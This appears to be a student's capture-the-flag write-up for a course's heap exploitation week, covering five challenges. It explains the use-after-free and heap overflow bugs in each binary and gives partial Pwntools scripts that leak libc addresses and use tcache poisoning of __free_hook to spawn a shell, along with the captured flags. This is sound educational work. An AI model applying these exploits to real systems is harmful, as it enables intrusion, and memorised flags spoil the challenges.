Week8-Pwn Write-ups

Name: **Xinsheng Zhu**
UnivID: **N10273832**
NetID: **xz4344**

!!! 700/300 pts solved !!!

Sneaky Leak (50 pts)

```
root@da3a661561f2:/chal/wk8/sneaky_leak# ./sneaky_leak
I need your help leaking the address of system!
And all i have to offer is this array of random character buffers :/
Can you find it and get the flag??
What do you want to do?
1. Free an index
2. Read an index
3. Allocate an index
4. Guess the address of system
>
```

In this challenge, we are offered an array of random character buffers and need to guess the address of the system. Let's directly open the binary file `sneaky_leak` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- `populate_arr`: Fill 128 buffers with random data and store their pointers in a global array `arr`. Each buffer's size is determined by its index multiplied by 0x10 bytes.
- `free_idx`: Take in an index to free and check if it's valid and allocated. If so, free the buffer at that index and set the pointer `arr[index]` to null.
- `read_idx`: Take in an index to read and check if it's valid and allocated. If so, print the buffer contents at the pointer `arr[index]`.
- `allocate_idx`: Take in an index to allocate and check if it's valid and not allocated. If so, allocate a new buffer of size index multiplied by 0x10 bytes and store the pointer in `arr[index]`.

Thus, our idea is:

1. Free a heap chunk whose size is at least 0x420 with an index of at least 65 (allocated size of 0x410). The freed chunk will go to the unsorted bin, and its fw/bk pointers will point to a glibc address.
2. Allocate the freed buffer at the same index to pass the check for reading the buffer contents.
3. Read the freed buffer at the same index to get a UAF leak of a glibc address.
4. Calculate the address of `system` by `(leaked & ~0xfff) - 0x1ec000 + e.symbols.system` and send it as a guess.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Free the arr[65] of size 0x410 (heap chunk of size 0x420) to the unsorted bin
index = int(0x420 / 0x10 - 1)
free(index)

# Stage 2: Allocate the arr[65] to pass the check
allocate(index)

# Stage 3: Read the arr[65] to leak a glibc address
leaked_glibc_addr = read(index)
log.info(f"Receiving leaked glibc address: {hex(leaked_glibc_addr)}")
```

```python
# Stage 4: Calculate the system address and guess it
glibc_e = ELF("libc.so.6")
glibc_base_addr = (leaked_glibc_addr & ~0xfff) - 0x1ec000
glibc_system_addr = glibc_base_addr + glibc_e.symbols.system
guess(glibc_system_addr)

p.interactive()
```

The captured flag is `flag{S1LLY_malloc_U_shuld_m3ms3t!_5b1bbc134150140f}`.

Thread and Needle (50 pts)

```
root@da3a661561f2:/chal/wk8/thread_and_needle# ./thread_and_needle
Welcome to the OffSec Sewing Machine!
In this challenge you must leak the address of `tcache_perthread_struct`
to calculate the heap base address using the vulnerabilities included
in the binary.

But first, we sew!
What do you want to do?
1. Set up sewing machine
2. Edit setup
3. Make item
4. Quit
>
```

In this challenge, we need to leak the address of tcache_perthread_struct and calculate the heap base address. Let's directly open the binary file `thread_and_needle` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- `setup`: Take in inputs to allocate 0x18 bytes for the `setting` structure: 8 bytes for "item name", 8 bytes for "stitch length", and 8 bytes for "stitch type"
- `edit`: Take in inputs to edit each member of the `setting` structure. Before editing, we can review any of the prior settings for reference.
- `make`: Free the `setting` structure but not null out the pointer (potential UAF).
- After whichever `setup`, `edit`, or `make` is called, we will be asked to guess the address of the heap base.

Thus, our idea is:

1. Allocate the `setting` structure with arbitrary information and guess the heap base address with any value.
2. Free the `setting` structure and guess the heap base address with any value. The freed chunk of size 0x20 will go to the tcachebins. The first eight bytes of the allocated buffer store a reference to the next item in its cache. The next eight bytes of the allocated buffer store a reference to tcache_perthread_struct.
3. Review the information at the "stitch length" of the `setting` structure, leaking the address of tcache_perthread_struct at the second eight bytes of the allocated buffer, and edit the `setting` structure with arbitrary information.
4. Calculate the heap base address by `leaked & 0xfffffffffffff000` and send it as a guess.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Allocate the setting of size 0x18 (heap chunk of size 0x20)
setup("dress", 50, "ladder")
guess(0)

# Stage 2: Free the setting to the tcachebins
make()
guess(0)

# Stage 3: Edit the setting to leak the tcache_perthread_struct address
tcache_perthread_struct_addr = edit("quilt", 20, "blindhem")

# Stage 4: Calculate the heap base address and guess it
heap_base_addr = tcache_perthread_struct_addr & 0xfffffffffffff000
guess(heap_base_addr)

p.interactive()
```

The captured flag is `flag{Sew1ng_2gethr_3xpl017s!_a8a6c6633e0ddabe}`.

Useful (and FUN) Message Server (150 pts)

```
root@da3a661561f2:/chal/wk8/useful_and_fun_message_server# ./useful_and_fun_message_server
Welcome to the OffSec queue!
We store all your feedback in a fancy queue until
          you're ready to send
Let's start out by giving you a helpful message: �|�I�
Choose an option:
1. Add message
2. Review message
3. Edit message
4. Send messages
>
```

In this challenge, with a given address, we need to pop a shell. Let's directly open the binary file `useful_and_fun_message_server` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- The given address is the address of `printf`, which can be used to calculate the base address of glibc.
- `add`: Allocate 0x48 bytes for a new message node (heap chunk of size 0x50): 0x40 bytes for message content and 0x8 bytes for the pointer to the next node. Add the new message node to the end of the linked list.
- `review`: Take in an index of a message to review. If it's valid, traverse the linked list to reach the desired message and print it.
- `edit`: Take in an index of a message to edit. If it's valid, traverse the linked list to the target node and allow editing of 0x40 bytes of message content.
- `send`: Traverse the entire linked list and free each of all nodes as it goes (potential UAF).

Thus, this is obviously a tcache poisoning problem. Our idea is:

1. Through the given `printf` address, calculate the glibc base address and the addresses of `__free_hook` and `system`.
2. In preparation for tcache poisoning, add two arbitrary messages (A and B) to the linked list and send them all at once sequentially. At this time, the tcache is "B -> A".
3. Perform tcache poisoning:
   - Make use of UAF, editing the first eight bytes of message B with the `__free_hook` address. At this time, the tcache is "B -> __free_hook".
   - Add message C with the content of `/bin/sh\x00` as the argument for `system`. At this time, the tcache is "__free_hook".
   - Add message D with the content of the `system` address. In this way, the `system` address will be stored at the `__free_hook` address. At this time, the tcache is empty.
4. Send all added messages at once. In this way, the node of message C will be freed first. When calling `free(&message_C)`, `system("/bin/sh")` will be called to pop a shell.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Calculate required addresses
print(p.recvuntil(b": ").decode())
glibc_printf_addr = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"Receiving glibc printf address: {hex(glibc_printf_addr)}")
glibc_e = ELF("libc.so.6")
glibc_base_addr = glibc_printf_addr - glibc_e.symbols.printf
glibc_free_hook_addr = glibc_base_addr + glibc_e.symbols.__free_hook
glibc_system_addr = glibc_base_addr + glibc_e.symbols.system
```

```python
# Stage 2: Prepare for tcache poisoning
add_message(b"A"*0x8)
add_message(b"B"*0x8)
send_messages()

# Stage 3: Perform tcache poisoning
edit_message(1, p64(glibc_free_hook_addr))
add_message(b"/bin/sh\x00")
add_message(p64(glibc_system_addr))

# Stage 4: Trigger system("/bin/sh")
send_messages()

p.interactive()
```

The captured flag is `flag{Unb07h3r3d_AND_f0cus3d!_b882d127a661b586}`.

Biiiiig Message Server (150 pts)

```
root@da3a661561f2:/chal/wk8/big_message_server# ./big_message_server
Welcome to the OffSec queue!
We store all your feedback in a fancy queue until
          you're ready to send
Let's start out by giving you a helpful message: �,���
Choose an option:
1. Add message
2. Review message
3. Edit message
4. Send messages
>
```

In this challenge, with a given address, we need to pop a shell. Let's directly open the binary file `big_message_server` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- The given address is the address of `printf`, which can be used to calculate the base address of glibc.
- `add`: Allocate 0x48 bytes for a new message node (heap chunk of size 0x50): 0x8 bytes for the pointer to the next node and 0x40 bytes for message content (start from the address of `&node +0x8`).
- `review`: Take in an index of a message to review. If it's valid, traverse the linked list to reach the desired message and print it.
- `edit`: Take in an index of a message to edit. If it's valid, traverse the linked list to the target node and allow editing of 0x60 bytes of message content (heap overflow vulnerability).
- `send`: Take in an index of a message to send. If it's valid, traverse the entire linked list to the target node and free it, properly updating the linked list when removing the node (potential UAF).

Thus, this is obviously a tcache poisoning problem. Our idea is:

1. Through the given `printf` address, calculate the glibc base address and the addresses of `__free_hook` and `system`.
2. In preparation for tcache poisoning, add three arbitrary messages (A, B, and C) to the linked list and send messages C (at index 2) and B (at index 1) sequentially. At this time, the tcache is "B -> C".
3. Perform tcache poisoning:
   - Make use of heap buffer overflow, editing message A to overwrite the first eight bytes of message B with the `__free_hook` address minus 0x8. At this time, the tcache is "B -> __free_hook-0x8".
   - Add arbitrary message D. At this time, the tcache is "__free_hook-0x8".
   - Add message E with the content of the `system` address. In this way, the `system` address will be stored at the `__free_hook` address. At this time, the tcache is empty.
   - Make use of heap buffer overflow, editing message A to overwrite the first eight bytes of message B with the content of `/bin/sh\x00` as the argument for `system`.
4. Send messages D (at index 1). In this way, the node of message D will be freed. When calling `free(&message_D)`, `system("/bin/sh")` will be called to pop a shell.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Calculate required addresses
print(p.recvuntil(b": ").decode())
glibc_printf_addr = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"Receiving glibc printf address: {hex(glibc_printf_addr)}")
glibc_e = ELF("libc.so.6")
glibc_base_addr = glibc_printf_addr - glibc_e.symbols.printf
```

```python
glibc_free_hook_addr = glibc_base_addr + glibc_e.symbols.__free_hook
glibc_system_addr = glibc_base_addr + glibc_e.symbols.system

# Stage 2: Prepare for tcache poisoning
add_message(b"A"*0x8)
add_message(b"B"*0x8)
add_message(b"C"*0x8)
send_message(2)
send_message(1)

# Stage 3: Perform tcache poisoning
edit_message(0, b"A"*0x40 + p64(0x51) + p64(glibc_free_hook_addr-0x8))
add_message(b"D"*0x8)
add_message(p64(glibc_system_addr))
edit_message(0, b"A"*0x40 + p64(0x51) + b"/bin/sh\x00")

# Stage 4: Trigger system("/bin/sh")
send_message(1)

p.interactive()
```

The captured flag is `flag{Unb0und3d_AND_0V3rfl0w1ng!_38deabcc4ec531c0}`.

Comics (300 pts)

```
root@da3a661561f2:/chal/wk8/comics# ./comics
My favorite comic is Cyanide and Happiness! Can you help me create
a new comic using this template of Greenshirt and a computer??
Please select an option?
1. Create a new comic
2. Print a comic
3. Edit a comic
4. Delete a comic
>
```

In this challenge, with nothing provided, we need to pop a shell. Let's directly open the binary file `comics` with Binary Ninja to inspect the High-Level IL (screenshot omitted).

We can discover the following points:

- `create` : Read up to 0x500 bytes of text input, allocate memory based on input length, increment global variable `count` and store its pointer in a global array `comics` .
- `print` : Take in an index of a comic to print. If it's valid, print out the decorated comic text.
- `edit` : Take in an index of a comic to edit. If it's valid, allow editing of the same length as the original of the comic text.
- `delete` : Take in an index of a comic to delete. If it's valid, simply free the pointer but no pointer nulling (UAF vulnerability).

Thus, this is obviously a tcache poisoning problem. Our idea is:

1. Add a large comic A (heap chunk of size 0x420), followed by a small comic B (heap chunk of size 0x20), which is a guard allocation to avoid consolidating big allocations together, then delete the large comic A to apply the unsorted bin pointer leak of a glibc address.
2. Calculate the glibc base address and the addresses of `__free_hook` and `system` for further use.
3. In preparation for tcache poisoning, add another large comic C (heap chunk of size 0x420) to exhaust the unsorted bin, add a small comic D (heap chunk of size 0x20), and then delete comic B (at index 1) and comic D (at index 3) sequentially. At this time, the tcache is "D -> B".
4. Perform tcache poisoning:
   - Make use of UAF, editing comic D with the `__free_hook` address. At this time, the tcache is "D -> __free_hook".
   - Add a small comic E (heap chunk of size 0x20) with the content of `/bin/sh\x00` as the argument for `system` . At this time, the tcache is " __free_hook".
   - Add a small comic F (heap chunk of size 0x20) with the content of the `system` address. In this way, the `system` address will be stored at the `__free_hook` address. At this time, the tcache is empty.
5. Delete comic E (at index 4). In this way, the pointer of comic E will be freed. When calling `free(&comic_E)` , `system("/bin/sh")` will be called to pop a shell.

Part of the script using Pwntools to solve the challenge is shown below.

```python
from pwn import *
......
p = remote(URL, PORT)
......
# Stage 1: Leak libc address
create_comic(b"A"*0x410)
create_comic(b"B"*0x8)
delete_comic(0)
leaked_glibc_addr = print_comic(0)
log.info(f"Receiving leaked glibc address: {hex(leaked_glibc_addr)}")

# Stage 2: Calculate required addresses
```

```python
glibc_e = ELF("libc.so.6")
glibc_base_addr = (leaked_glibc_addr & ~0xfff) - 0x1ec000
glibc_free_hook_addr = glibc_base_addr + glibc_e.symbols.__free_hook
glibc_system_addr = glibc_base_addr + glibc_e.symbols.system

# Stage 3: Prepare for tcache poisoning
create_comic(b"C"*0x410)
create_comic(b"D"*0x8)
delete_comic(1)
delete_comic(3)

# Stage 4: Perform tcache poisoning
edit_comic(3, p64(glibc_free_hook_addr))
create_comic(b"/bin/sh\x00")
create_comic(p64(glibc_system_addr))

# Stage 5: Trigger system("/bin/sh")
delete_comic(4)

p.interactive()
```

The captured flag is `flag{T_c4ch3_p0150n1ng_15_s000000_c0mic4l_42223a7387d8f812}`.